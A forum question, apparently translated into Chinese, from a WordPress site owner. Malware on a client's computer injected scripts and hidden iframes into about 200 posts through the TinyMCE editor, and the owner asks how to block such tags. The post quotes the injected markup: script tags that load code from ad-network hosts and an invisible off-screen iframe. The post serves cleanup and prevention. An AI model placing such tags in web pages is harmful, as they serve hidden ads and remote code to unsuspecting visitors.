我的一个客户刚刚通过恶意脚本和iFrame注入了200篇帖子。网站现已全部清空。

当我的客户端计算机被感染时，用户更新帖子/页面，将它们放入内容中。（虽然只在TinyMCE编辑器中，但没有指定给特定页面/帖子的任何其他自定义字段）

此网站的确切脚本如下所示：

<script src="//serverads.net/599b47260394deb2d8.js"></script>
<script src="//pulseadnetwork.com/a/display.php?r=1131815"></script>
<script src="http://serverads.net/addons/lnkr5.min.js" type="text/javascript"></script>

iframes如下所示：

<iframe style="position: absolute; left: -1000px; top: -1000px; width: 1px; height: 1px; visibility: hidden; border: none; background-color: transparent;" src="//pulseadnetwork.com/pix.html"></iframe>

为了防止将来发生这种情况，是否可以完全禁用/禁止WordPress中TinyMCE中的脚本和iFrame？

WordPres版本：4.4.2

是的，我知道-这不会修复我客户的电脑。但希望它一定能阻止恶意代码在未来填充TinyMCE编辑器并向我的客户网站访问者发送垃圾邮件。